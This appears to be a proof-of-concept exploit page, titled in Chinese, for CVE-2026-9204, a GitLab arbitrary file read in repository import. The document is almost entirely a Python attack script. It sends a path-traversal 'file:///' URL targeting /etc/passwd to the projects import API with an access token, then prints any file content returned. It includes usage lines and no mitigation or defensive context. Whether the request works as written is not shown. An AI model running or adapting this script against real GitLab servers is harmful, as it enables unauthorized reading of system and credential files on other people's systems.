CVE-2026-9204 GitLab 仓库导入时任意文件读取漏洞

import requests import sys # CVE-2026-9204 PoC - GitLab Arbitrary File Read via Repository Import # Target: GitLab CE/EE < 18.10.8, < 18.11.5, < 19.0.2 def exploit_gitlab_ssrf(target_url, auth_token): """ Exploit for CVE-2026-9204: GitLab arbitrary file read via insufficient URL validation during repository import process. """ headers = { 'PRIVATE-TOKEN': auth_token, 'Content-Type': 'application/json' } # Malicious URL to read arbitrary file from Gitaly server # Using path traversal to access /etc/passwd malicious_url = 'file:///../../../../etc/passwd' payload = { 'url': malicious_url, 'import_type': 'git', 'new_name': 'malicious_repo' } endpoint = f'{target_url}/api/v4/projects/import' try: response = requests.post(endpoint, json=payload, headers=headers, timeout=30) if response.status_code == 200: data = response.json() print(f'[+] Success! File content retrieved:') print(data.get('file_content', 'N/A')) return True else: print(f'[-] Failed with status code: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Request error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2026-9204.py <target_url> <auth_token>') print('Example: python cve-2026-9204.py https://gitlab.example.com glpat-xxxxx') sys.exit(1) exploit_gitlab_ssrf(sys.argv[1], sys.argv[2])